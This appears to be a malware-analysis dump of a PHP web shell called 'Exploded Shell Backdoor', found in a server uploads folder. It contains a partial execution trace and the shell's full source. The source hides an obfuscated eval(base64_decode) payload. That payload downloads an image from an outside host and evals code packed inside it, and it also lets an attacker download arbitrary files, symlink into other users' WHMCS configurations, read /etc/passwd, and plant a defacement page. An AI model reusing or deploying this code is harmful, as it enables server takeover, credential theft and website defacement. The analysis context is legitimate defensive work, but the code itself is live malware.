YXRpb24ucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLVdITUNTLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictV0hNQ1MudHh0Jyk7CnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvcG9ydGFsL2NvbmZpZ3VyYXRpb24ucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLVdITUNTLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLVdITUNTLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL2NsaWVudGFyZWEvY29uZmlndXJhdGlvbi5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictV0hNQ1MudHh0Jyk7CnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvZG9tYWlucy9jb25maWd1cmF0aW9uLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1XSE1DUy50eHQnKTsKfQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwogICAgaWYoaXNfcmVhZGFibGUoIi92YXIvbmFtZWQiKSl7CiAgICBlY2hvJzx0YWJsZSBhbGlnbj0iY2VudGVyIiBib3JkZXI9IjEiIHdpZHRoPSI0NSUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iNCIgY2xhc3M9InRkMSI+JzsKICAgIGVjaG8nPHRyPjx0ZD48Y2VudGVyPjxiPlNJVEU8L2I+PC9jZW50ZXI+PC90ZD48dGQ+CiAgICA8Y2VudGVyPjxiPlVTRVI8L2I+PC9jZW50ZXI+PC90ZD4KICAgIDx0ZD48L2NlbnRlcj48Yj5TWU1MSU5LPC9iPjwvY2VudGVyPjwvdGQ+JzsKICAgICRsaXN0ID0gc2NhbmRpcigiL3Zhci9uYW1lZCIpOwogICAgZm9yZWFjaCgkbGlzdCBhcyAkZG9tYWluKXsKICAgIGlmKHN0cnBvcygkZG9tYWluLCIuZGIiKSl7CiAgICAkaSArPSAxOwogICAgJGRvbWFpbiA9IHN0cl9yZXBsYWNlKCcuZGInLCcnLCRkb21haW4pOwogICAgJG93bmVyID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbikpOwoKICAgIGVjaG8gIjx0cj48dGQgY2xhc3M9J3RkMSc+PGEgaHJlZj0naHR0cDovLyIuJGRvbWFpbi4iICc+Ii4kZG9tYWluLiI8L2E+PC90ZD4KICAgIDx0ZCBjbGFzcz0ndGQxJz48Y2VudGVyPjxmb250IGNvbG9yPSdyZWQnPiIuJG93bmVyWyduYW1lJ10uIjwvZm9udD48L2NlbnRlcj48L3RkPgogICAgPHRkIGNsYXNzPSd0ZDEnPjxjZW50ZXI+PGEgaHJlZj0nZXhwbG9kZWRzeW0vcm9vdCIuJG93bmVyWydkaXInXS4iLyIuJGRpclszXS4iJyB0YXJnZXQ9J19ibGFuayc+RElSPC9hPjwvY2VudGVyPjwvdGQ+IjsKICAgICAgICB9CiAgICB9CiAgICBlY2hvICI8Y2VudGVyPlRvdGFsIERvbWFpbnMgRm91bmQ6ICIuJGkuIjwvY2VudGVyPjxiciAvPiI7CiAgICB9ZWxzZXsgCiAgICBlY2hvICI8dHI+PHRkIGNsYXNzPSd0ZDEnPmNhbid0IHJlYWQgWyAvdmFyL25hbWVkIF08L3RkPjx0cj4iOyB9CgpicmVhazsKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKZXJyb3JfcmVwb3J0aW5nKDApOwokZXRjID0gZmlsZV9nZXRfY29udGVudHMoIi9ldGMvcGFzc3dkIik7CiRldGN6ID0gZXhwbG9kZSgiXG4iLCRldGMpOwppZihpc19yZWFkYWJsZSgiL2V0Yy9wYXNzd2QiKSl7CgplY2hvJzx0YWJsZSBhbGlnbj0iY2VudGVyIiBib3JkZXI9IjEiIHdpZHRoPSI0NSUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iNCIgY2xhc3M9InRkMSI+JzsKZWNobyc8dHI+PHRkPjxjZW50ZXI+PGI+U0lURTwvYj48L2NlbnRlcj48L3RkPjx0ZD48Y2VudGVyPjxiPlVTRVI8L2I+PC9jZW50ZXI+PC90ZD48dGQ+PGNlbnRlcj48Yj5TWU1MSU5LPC9iPjwvY2VudGVyPjwvdGQ+JzsKCiRsaXN0ID0gc2NhbmRpcigiL3Zhci9uYW1lZCIpOwoKZm9yZWFjaCgkZXRjeiBhcyAkZXR6KXsKJGV0Y2MgPSBleHBsb2RlKCI6IiwkZXR6KTsKCmZvcmVhY2goJGxpc3QgYXMgJGRvbWFpbil7CmlmKHN0cnBvcygkZG9tYWluLCIuZGIiKSl7CiRkb21haW4gPSBzdHJfcmVwbGFjZSgnLmRiJywnJywkZG9tYWluKTsKJG93bmVyID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbikpOwppZigkb3duZXJbJ25hbWUnXSA9PSAkZXRjY1swXSkKewokaSArPSAxOwplY2hvICI8dHI+PHRkIGNsYXNzPSd0ZDEnPjxhIGhyZWY9J2h0dHA6Ly8iLiRkb21haW4uIiAnPiIuJGRvbWFpbi4iPC9hPjwvdGQ+PGNlbnRlcj4KPHRkIGNsYXNzPSd0ZDEnPjxmb250IGNvbG9yPSdyZWQnPiIuJG93bmVyWyduYW1lJ10uIjwvZm9udD48L2NlbnRlcj48L3RkPgo8dGQgY2xhc3M9J3RkMSc+PGNlbnRlcj48YSBocmVmPSdleHBsb2RlZHN5bS9yb290Ii4kb3duZXJbJ2RpciddLiIvIi4kZGlyWzNdLiInIHRhcmdldD0nX2JsYW5rJz5ESVI8L2E+PC9jZW50ZXI+PC90ZD4iOwp9fX19CmVjaG8gIjxjZW50ZXI+VG90YWwgRG9tYWlucyBGb3VuZDogIi4kaS4iPC9jZW50ZXI+PGJyIC8+Ijt9CgpicmVhazsKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwppZihpc19yZWFkYWJsZSgiL2V0Yy9uYW1lZC5jb25mIikpewplY2hvJzx0YWJsZSBhbGlnbj0iY2VudGVyIiBib3JkZXI9IjEiIHdpZHRoPSI0NSUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iNCIgY2xhc3M9InRkMSI+JzsKZWNobyc8dHI+PHRkPjxjZW50ZXI+PGI+U0lURTwvYj48L2NlbnRlcj48L3RkPjx0ZD48Y2VudGVyPjxiPlVTRVI8L2I+PC9jZW50ZXI+PC90ZD48dGQ+PC9jZW50ZXI+PGI+U1lNTElOSzwvYj48L2NlbnRlcj48L3RkPic7CiRuYW1lZCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL25hbWVkLmNvbmYiKTsKcHJlZ19tYXRjaF9hbGwoJyV6

Execution traces

data/traces/82f1dafb81bbc657fac81aaaf80258f8_trace-1676240772.3811.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 20:26:38.278882]
1	0	1	0.000146	393512
1	3	0	0.000367	393384	{main}	1		/var/www/html/uploads/tol.php	0	0
2	4	0	0.000386	393384	ini_set	0		/var/www/html/uploads/tol.php	1	2	'output_buffering'	0
2	4	1	0.000404	393456
2	4	R			FALSE
1	3	1	0.000418	393384
			0.000444	314224
TRACE END   [2023-02-12 20:26:38.279210]


Generated HTML code

<html><head></head><body></body></html>

Original PHP code

<?php @ini_set('output_buffering',0); // //@ini_set('display_errors', 0); // //@ini_set('error_reporting', 0); // /* ##################################################### ## Name : Exploded Shell Backdoor ## ## Version : v1.5 Mini ## ## Author : Muhammad Supiani a.k.a ./Port22 ## ## Contact : Port22cyber@gmail.com ## ## Report : Port22exploded@gmail.com ## ## (c) 2017 www.security-exploded.orgs ## ##################################################### */ $pass = "9e3e935b7a61f3faf5afd5d9082936db"; // Password Encrypted By MD5, pass is:" m1x " $title = "Security Exploded Shell Backdoor"; // Title $color = "grey"; // Color $background= "http://oi58.tinypic.com/2u8fmnn.jpg"; // Background $logo = "http://oi58.tinypic.com/10r33mq.jpg"; // Logo $music = ""; // Music, isi url music elu :v *cuman bisa didengerin di "about" :v , malas gw taroh di depan, soalnya kalok ada yg nggak suka :v $script_deface = "<html><head><title>Hacked By ./Port22</title></head><body>Hacked by ./Port22 <br> Crew's : Milton | Aris Dot ID | ./r00t_NTx | ./Port22 | MyMind404 | ./KriZ | ./BlackJoker |<embed src='http://www.youtube.com/v/qD8OnPC1fLI&autoplay=1&loop=1' type='application/x-shockwave-flash' wmode='transparent' width='0' height='0'></embed>"; //Script Deface. (html, php, txt) /* Content is encrypted by gzdeflate , base64 , and others . if you want the source code , please use the tool "PHP Decrypter". In case you dont trust me :-P */ eval(base64_decode("CiR4TmFtZSA9ICJTZWN1cml0eSBFeHBsb2RlZCI7CiR2ZXJzaSA9ICJ2MS41IE1pbmkiOyAvLyBTaGVsbCBWZXJzaW9uCiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7IApAZGVmaW5lKCdTRUxGX1BBVEgnLCBfX0ZJTEVfXyk7IAppZiggc3RycG9zKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnR29vZ2xlJykgIT09IGZhbHNlICkgeyAKICAgIGhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOyAKICAgIGV4aXQ7IH0KJGluZG89ZmlsZV9nZXRfY29udGVudHMoImh0dHBzOi8vaW1hZ2UuaWJiLmNvL2N0M1pybi9pbmRvbmVzaWFfaWNvbi5wbmciKTsgIApAc2Vzc2lvbl9zdGFydCgpOyAKQGVycm9yX3JlcG9ydGluZygwKTsgCkBpbmlfc2V0KCdlcnJvcl9sb2cnLE5VTEwpOyAKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOyAKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsgCkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOwpAc2V0X3RpbWVfbGltaXQoMCk7IApAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOyAKQGRlZmluZSgnVkVSU0lPTicsICcyLjEnKTsgCmV2YWwoZ3ppbmZsYXRlKHN1YnN0cigkaW5kbywxOTM0KSkpOwppZiggZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSApIHsgCiAgICBmdW5jdGlvbiBzdHJpcHNsYXNoZXNfYXJyYXkoJGFycmF5KSB7IHJldHVybiBpc19hcnJheSgkYXJyYXkpID8gYXJyYXlfbWFwKCdzdHJpcHNsYXNoZXNfYXJyYXknLCAkYXJyYXkpIDogc3RyaXBzbGFzaGVzKCRhcnJheSk7IH0gCiAgICAkX1BPU1QgPSBzdHJpcHNsYXNoZXNfYXJyYXkoJF9QT1NUKTsgCn0gCmZ1bmN0aW9uIHByaW50TG9naW4oKSB7IAo/PjxodG1sPjxoZWFkPgo8bGluayByZWw9IlNIT1JUQ1VUIElDT04iIGhyZWY9Imh0dHA6Ly9vaTU4LnRpbnlwaWMuY29tLzEwcjMzbXEuanBnIj4KPHRpdGxlPlNlY3VyaXR5IEV4cGxvZGVkPC90aXRsZT4KPC9oZWFkPgo8Ym9keT4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KYm9keSB7IGJhY2tncm91bmQtY29sb3I6dHJhbnNwYXJhbjtiYWNrZ3JvdW5kOiMwMDA7YmFja2dyb3VuZC1pbWFnZTogdXJsKCJodHRwOi8vb2k2MC50aW55cGljLmNvbS9pbjc0cGkuanBnIik7YmFja2dyb3VuZC1wb3NpdGlvbjogY2VudGVyOyAgYmFja2dyb3VuZC1hdHRhY2htZW50OiBmaXhlZDtiYWNrZ3JvdW5kLXJlcGVhdDogcmVwZWF0OyB9IAoudGFibmV6eyBtYXJnaW46MzBweCBhdXRvIDAgYXV0bztib3JkZXI6IDFweCBzb2xpZCAjMzMzMzMzOyBjb2xvcjogZ3JleTsgCi1tb3otYm9yZGVyLXJhZGl1czogNXB4OyAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDVweDsgLWtodG1sLWJvcmRlci1yYWRpdXM6IDVweDsgYm9yZGVyLXJhZGl1czogNXB4O30KYm9keSx0ZCx0aCB7Zm9udC1mYW1pbHk6IFZlcmRhbmE7Zm9udC1zaXplOiAxMnB4O2NvbG9yOiBncmV5O2ZvbnQtd2VpZ2h0OiBib2xkO30KaW5wdXQge0JPUkRFUi1SSUdIVDpncmV5IDFweCBzb2xpZDtCT1JERVItVE9QOmdyZXkgMXB4IHNvbGlkO0JPUkRFUi1MRUZUOmdyZXkgMXB4IHNvbGlkO0JPUkRFUi1CT1RUT006IGdyZXkgMXB4IHNvbGlkO0JBQ0tHUk9VTkQtQ09MT1I6ICMxMTExMTE7Q09MT1I6IGdyZXk7Zm9udDogOHB0IFZlcmRhbmE7fQo8L3N0eWxlPjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Ym9keSwgYTpob3ZlciB7Y3Vyc29yOiB1cmwoaHR0cDovL2N1ci5jdXJzb3JzLTR1Lm5ldC9jdXJzb3JzL2N1ci0xMS9jdXIxMDQ4LmN1ciksIHByb2dyZXNzICFpbXBvcnRhbnQ7fTwvc3R5bGU+Cgo8aW1nIHNyYz0iaHR0cDovL29pNTgudGlueXBpYy5jb20vMnU4Zm1ubi5qcGciIHRpdGxlPSIuL1BvcnQyMiIgc3R5bGU9ImZsb2F0OmxlZnQiIGFsdD0iRXhwbG9kZWQiIGhlaWdodD0nMjUwJyB3aWR0aD0nNzAwJy8+Cjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxjZW50ZXI+Cjx0YWJsZT4KPGZvcm0gbWV0aG9kPSdwb3N0Jz4KPHRyPgo8dGQ+PGltZyBzcmM9J2h0dHA6Ly9vaTU4LnRpbnlwaWMuY29tLzEwcjMzbXEuanBnJyBjbGFzcz0idGFibmV6IiAgaGVpZ2h0PScyMCcgd2lkdGg9JzI0Jz48L3RkPgo8dGQ+PGlucHV0IGNsYXNzPSJ0YWJuZXoiIHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwYXNzIiBwbGFjZWhvbGRlcj0iUGFzc3dvcmQiPjwvdGQ+Cjx0ZD48aW5wdXQgY2xhc3M9InRhYm5leiIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iTG9naW4gISI+PC90ZD4KPC90cj4KPC9mb3JtPgo8L3RhYmxlPgo8L2JvZHk+CjwvaHRtbD4KICAgIDw/cGhwIGJyZWFrIDsKICAgIGV4aXQ7IAp9IAppZiggIWlzc2V0KCAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldICkpIAogICAgaWYoIGVtcHR5KCAkcGFzcyApIHx8IAogICAgICAgICggaXNzZXQoICRfUE9TVFsncGFzcyddKSAmJiAoIG1kNSgkX1BPU1RbJ3Bhc3MnXSkgPT0gJHBhc3MgKSApICkgCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSA9IHRydWU7IAogICAgZWxzZSAKICAgICAgICBwcmludExvZ2luKCk7CiAgICAgICAgCkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywwKTsKQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLDApOyAKQGluaV9zZXQoJ2ZpbGVfdXBsb2FkcycsMSk7CmlmKGlzc2V0KCRfR0VUWydkbCddKSAmJiAoJF9HRVRbJ2RsJ10gIT0gIiIpKXsKICAgICRmaWxlID0gJF9HRVRbJ2RsJ107CiAgICAkZmlsZXogPSBAZmlsZV9nZXRfY29udGVudHMoJGZpbGUpOwogICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7IAogICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLnN0cmxlbigkZmlsZXopKTsgCiAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLmJhc2VuYW1lKCRmaWxlKS4iXCI7Iik7CiAgIGVjaG8gJGZpbGV6OyAKICAgIGV4aXQ7IAp9CmVsc2VpZihpc3NldCgkX0dFVFsnZGxnemlwJ10pICYmICgkX0dFVFsnZGxnemlwJ10gIT0gIiIpKXsKICAgICRmaWxlID0gJF9HRVRbJ2RsZ3ppcCddOwogICAgJGZpbGV6ID0gZ3plbmNvZGUoQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7CiAgIGhlYWRlcigiQ29udGVudC1UeXBlOmFwcGxpY2F0aW9uL3gtZ3ppcFxuIik7IAogICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLnN0cmxlbigkZmlsZXopKTsgCiAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLmJhc2VuYW1lKCRmaWxlKS4iLmd6XCI7Iik7CiAgIGVjaG8gJGZpbGV6OyAKICAgIGV4aXQ7IAp9Ci8vIHZpZXcgaW1hZ2UKaWYoaXNzZXQoJF9HRVRbJ2ltZyddKSl7CiAgICAgICAgQG9iX2NsZWFuKCk7IAogICAgICAgICRkID0gbWFnaWNib29tKCRfR0VUWyd5J10pOwogICAgICAgICRmID0gJF9HRVRbJ2ltZyddOwogICAgICAgICRpbmYgPSBAZ2V0aW1hZ2VzaXplKCRkLiRmKTsgCiAgICAgICAgJGV4dCA9IGV4cGxvZGUoJGYsIi4iKTsgCiAgICAgICAgJGV4dCA9ICRleHRbY291bnQoJGV4dCktMV07IAogICAgICAgIEBoZWFkZXIoIkNvbnRlbnQtdHlwZTogIi4kaW5mWyJtaW1lIl0pOwogICAgICAgIEBoZWFkZXIoIkNhY2hlLWNvbnRyb2w6IHB1YmxpYyIpOyAKICAgICAgICBAaGVhZGVyKCJFeHBpcmVzOiAiLmRhdGUoInIiLG1rdGltZSgwLDAsMCwxLDEsMjAzMCkpKTsgCiAgICAgICAgQGhlYWRlcigiQ2FjaGUtY29udHJvbDogbWF4LWFnZT0iLig2MCo2MCoyNCo3KSk7ICAKICAgICAgICBAcmVhZGZpbGUoJGQuJGYpOyAKICAgICAgICBleGl0OyAKfQovL3BocCBpbmZvCiRwaHBpbmZvID0gIj8mYW1wO3g9cGhwaW5mbyI7Ci8vIFNlcnZlciBzb2Z0d2FyZQoKJHNvZnR3YXJlID0gZ2V0ZW52KCJTRVJWRVJfU09GVFdBUkUiKTsKLy8gQ01ECiRjbWRib3ggPSAiaGVscCI7Ci8vIFNlcnZlciBQb3J0CiRzZXJ2ZXJwb3J0ID0gJF9TRVJWRVJbIlNFUlZFUl9QT1JUIl07Ci8vIEJhY2tkb29yIE5hbWUKJGJhY2tkb29yX25hbWUgPSAiJHRpdGxlICI7Ci8vIGNoZWNrIHNhZmVtb2RlCmlmIChAaW5pX2dldCgic2FmZV9tb2RlIikgb3Igc3RydG9sb3dlcihAaW5pX2dldCgic2FmZV9tb2RlIikpID09ICJvbiIpICAkc2FmZW1vZGUgPSBUUlVFOyBlbHNlICRzYWZlbW9kZSA9IEZBTFNFOwovLyB1bmFtZSAtYQokc3lzdGVtID0gQHBocF91bmFtZSgpOwovLyBkZXRlY3RvcgpmdW5jdGlvbiBzaG93c3RhdCgkc3RhdCkge2lmICgkc3RhdD09Im9uIikge3JldHVybiAiPGI+PGZvbnQgc3R5bGU9J2NvbG9yOiMwMEZGMDAnPk9OPC9mb250PjwvYj4iO31lbHNlIHtyZXR1cm4gIjxiPjxmb250IHN0eWxlPSdjb2xvcjojZmYwMDAwJz5PRkY8L2ZvbnQ+PC9iPiI7fX0KZnVuY3Rpb24gdGVzdG15c3FsKCkge2lmIChmdW5jdGlvbl9leGlzdHMoJ215c3FsX2Nvbm5lY3QnKSkge3JldHVybiBzaG93c3RhdCgib24iKTt9ZWxzZSB7cmV0dXJuIHNob3dzdGF0KCJvZmYiKTt9fQpmdW5jdGlvbiB0ZXN0Y3VybCgpIHtpZiAoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSkge3JldHVybiBzaG93c3RhdCgib24iKTt9ZWxzZSB7cmV0dXJuIHNob3dzdGF0KCJvZmYiKTt9fQpmdW5jdGlvbiB0ZXN0d2dldCgpIHtpZiAoZXhlKCd3Z2V0IC0taGVscCcpKSB7cmV0dXJuIHNob3dzdGF0KCJvbiIpO31lbHNlIHtyZXR1cm4gc2hvd3N0YXQoIm9mZiIpO319CmZ1bmN0aW9uIHRlc3RvcmFjbGUoKSB7IGlmIChmdW5jdGlvbl9leGlzdHMoJ29jaWxvZ29uJykpIHtyZXR1cm4gc2hvd3N0YXQoIm9uIik7IH1lbHNlIHtyZXR1cm4gc2hvd3N0YXQoIm9mZiIpOyB9fQpmdW5jdGlvbiB0ZXN0bXNzcWwoKSB7IGlmIChmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkge3JldHVybiBzaG93c3RhdCgib24iKTsgfWVsc2Uge3JldHVybiBzaG93c3RhdCgib2ZmIik7IH19CmZ1bmN0aW9uIHRlc3RwZXJsKCkge2lmIChleGUoJ3BlcmwgLWgnKSkge3JldHVybiBzaG93c3RhdCgib24iKTt9ZWxzZSB7cmV0dXJuIHNob3dzdGF0KCJvZmYiKTt9fQpmdW5jdGlvbiB0ZXN0cHl0aG9uKCkge2lmIChleGUoJ3B5dGhvbiAtaCcpKSB7cmV0dXJuIHNob3dzdGF0KCJvbiIpO31lbHNlIHtyZXR1cm4gc2hvd3N0YXQoIm9mZiIpO319CmZ1bmN0aW9uIHRlc3RydWJ5KCkge2lmIChleGUoJ3J1YnkgLWgnKSkge3JldHVybiBzaG93c3RhdCgib24iKTt9ZWxzZSB7cmV0dXJuIHNob3dzdGF0KCJvZmYiKTt9fQpmdW5jdGlvbiB0ZXN0Z2NjKCkge2lmIChleGUoJ2djYyAtLWhlbHAnKSkge3JldHVybiBzaG93c3RhdCgib24iKTt9ZWxzZSB7cmV0dXJuIHNob3dzdGF0KCJvZmYiKTt9fQpmdW5jdGlvbiB0ZXN0amF2YSgpIHtpZiAoZXhlKCdqYXZhIC1oJykpIHtyZXR1cm4gc2hvd3N0YXQoIm9uIik7fWVsc2Uge3JldHVybiBzaG93c3RhdCgib2ZmIik7fX0KLy8gY2hlY2sgb3MKaWYoc3RydG9sb3dlcihzdWJzdHIoJHN5c3RlbSwwLDMpKSA9PSAid2luIikgJHdpbiA9IFRSVUU7CmVsc2UgJHdpbiA9IEZBTFNFOyAKLy8gY2hhbmdlIGRpcmVjdG9yeQppZihpc3NldCgkX0dFVFsneSddKSl7CiAgICBpZihAaXNfZGlyKCRfR0VUWyd2aWV3J10pKXsKICAgICAgICAkcHdkID0gJF9HRVRbJ3ZpZXcnXTsKICAgICAgICBAY2hkaXIoJHB3ZCk7CiAgICB9CiAgICBlbHNlewogICAgICAgICRwd2QgPSAkX0dFVFsneSddOwogICAgICAgIEBjaGRpcigkcHdkKTsKICAgIH0KfQovL2hkZApmdW5jdGlvbiBjb252ZXJ0Qnl0ZSgkcykgewppZigkczw9MCkgcmV0dXJuIDA7CiAgICAkdyA9IGFycmF5KCdCJywnS0InLCdNQicsJ0dCJywnVEInLCdQQicsJ0VCJywnWkInLCdZQicpOwogICAgJGUgPSBmbG9vcihsb2coJHMpL2xvZygxMDI0KSk7CiAgICByZXR1cm4gc3ByaW50ZignJS4yZiAnLiR3WyRlXSwgKCRzL3BvdygxMDI0LCBmbG9vcigkZSkpKSk7Cn0KLy8KCi8vIHVzZXJuYW1lLCBpZCwgc2hlbGwgcHJvbXB0IGFuZCB3b3JraW5nIGRpcmVjdG9yeQppZighJHdpbil7CiAgICBpZighJHVzZXIgPSByYXBpaChleGUoIndob2FtaSIpKSkgJHVzZXIgPSAiIjsKICAgIGlmKCEkaWQgPSByYXBpaChleGUoImlkIikpKSAkaWQgPSAiIjsKICAgICRwcm9tcHQgPSAkdXNlci4iIFwkICI7CiAgICAkcHdkID0gQGdldGN3ZCgpLkRJUkVDVE9SWV9TRVBBUkFUT1I7Cn0KZWxzZSB7CiAgICAkdXNlciA9IEBnZXRfY3VycmVudF91c2VyKCk7CiAgICAkaWQgPSAkdXNlcjsKICAgICRwcm9tcHQgPSAkdXNlci4iICZndDsiOwogICAgJHB3ZCA9IHJlYWxwYXRoKCIuIikuIlxcIjsKICAgIC8vIGZpbmQgZHJpdmUgbGV0dGVycwogICAgJHYgPSBleHBsb2RlKCJcXCIsJGQpOyAKICAgICR2ID0gJHZbMF07IAogICAgZm9yZWFjaCAocmFuZ2UoIkEiLCJaIikgYXMgJGxldHRlcikgCiAgICB7IAogICAgICAkYm9vbCA9IEBpc19kaXIoJGxldHRlci4iOlxcIik7CiAgICAgIGlmICgkYm9vbCkgCiAgICAgIHsgCiAgICAgICAgICAkbGV0dGVycyAuPSAiPGEgaHJlZj1cIj95PSIuJGxldHRlci4iOlxcXCI+WyAiOwogICAgICAgICAgIGlmICgkbGV0dGVyLiI6IiAhPSAkdikgeyRsZXR0ZXJzIC49ICRsZXR0ZXI7fSAKICAgICAgICAgICBlbHNlIHskbGV0dGVycyAuPSAiPHNwYW4gY2xhc3M9XCJnYXlhXCI+Ii4kbGV0dGVyLiI8L3NwYW4+Ijt9IAogICAgICAgICAgICRsZXR0ZXJzIC49ICIgPC9hPl0gIjsgCiAgICAgIH0gIAogfSAKfQoKZnVuY3Rpb24gZ2V0cmVhbGlwKCl7CmlmICghZW1wdHkoJF9TRVJWRVJbJ0hUVFBfQ0xJRU5UX0lQJ10pKQp7ICRpcD0kX1NFUlZFUlsnSFRUUF9DTElFTlRfSVAnXTsgCn1lbHNlaWYgKCFlbXB0eSgkU0VSVkVSWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddKSkKLy9UTyBDSEVLIElQIElTIFBBU1MgRlJPTSBQUk9YWQp7ICRpcD0kX1NFUlZFUlsnSFRUUF9YX0ZPUldBUkRFRF9GT1InXTsKfWVsc2UgeyAkaXA9JF9TRVJWRVJbJ1JFTU9URV9BRERSJ107Cn0KcmV0dXJuICRpcDsKfQoKIGZ1bmN0aW9uIHNob3dkaXNhYmxlZnVuY3Rpb25zKCkgewogICAgaWYgKCRkaXNhYmxlZnVuYz1AaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKSl7IHJldHVybiAiPHNwYW4gc3R5bGU9J2NvbG9yOiNmZjAwMDAnPjxiPiIuJGRpc2FibGVmdW5jLiI8L2I+PC9zcGFuPiI7IH0KICAgIGVsc2UgeyByZXR1cm4gIjxzcGFuIHN0eWxlPSdjb2xvcjojMDBGRjAwJz48Yj5OT05FPC9iPjwvc3Bhbj4iOyB9CiAgICB9CiAgICAKaWYoZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpICYmIGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSkgJHBvc2l4ID0gVFJVRTsKZWxzZSAkcG9zaXggPSBGQUxTRTsKLy8gc2VydmVyIGlwCiRzZXJ2ZXJfaXAgPSBAZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsiSFRUUF9IT1NUIl0pOwovLyB5b3VyIGlwIDstKQokbXlfaXAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsKJGFkbWluX2lkPSRfU0VSVkVSWydTRVJWRVJfQURNSU4nXTsKJGJpbmRwb3J0ID0gIjEzMTIzIjsKJGJpbmRwb3J0X3Bhc3MgPSAiZXhwbG9kZWQiOwovLyBTZWN1cml0eSBFeHBsb2RlZAokdXBsaW5rID0gImh0dHA6Ly93d3cuc2VjdXJpdHktZXhwbG9kZWQub3JnL3NlYXJjaC9sYWJlbC9FeHBsb2RlZCBTaGVsbCBCYWNrZG9vciI7Ci8vd2lsd29ybQokcmVsZWFzZSA9IEBwaHBfdW5hbWUoJ3InKTsKICAgICRrZXJuZWwgPSBAcGhwX3VuYW1lKCdzJyk7CiAgICAkbWlsbGluaz0naHR0cDovL21pbHcwcm0uY29tL3NlYXJjaC5waHA/ZG9uZz0nOwogICAgCiAgICBpZiggc3RycG9zKCdMaW51eCcsICRrZXJuZWwpICE9PSBmYWxzZSApCiAgICAgICAgJG1pbGxpbmsgLj0gdXJsZW5jb2RlKCAnTGludXggS2VybmVsICcgLiBzdWJzdHIoJHJlbGVhc2UsMCw2KSApOwogICAgZWxzZQogICAgICAgICRtaWxsaW5rIC49IHVybGVuY29kZSggJGtlcm5lbCAuICcgJyAuIHN1YnN0cigkcmVsZWFzZSwwLDMpICk7CiAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpIHsKICAgICAgICAkdXNlciA9IEBnZXRfY3VycmVudF91c2VyKCk7CiAgICAgICAgJHVpZCA9IEBnZXRteXVpZCgpOwogICAgICAgICRnaWQgPSBAZ2V0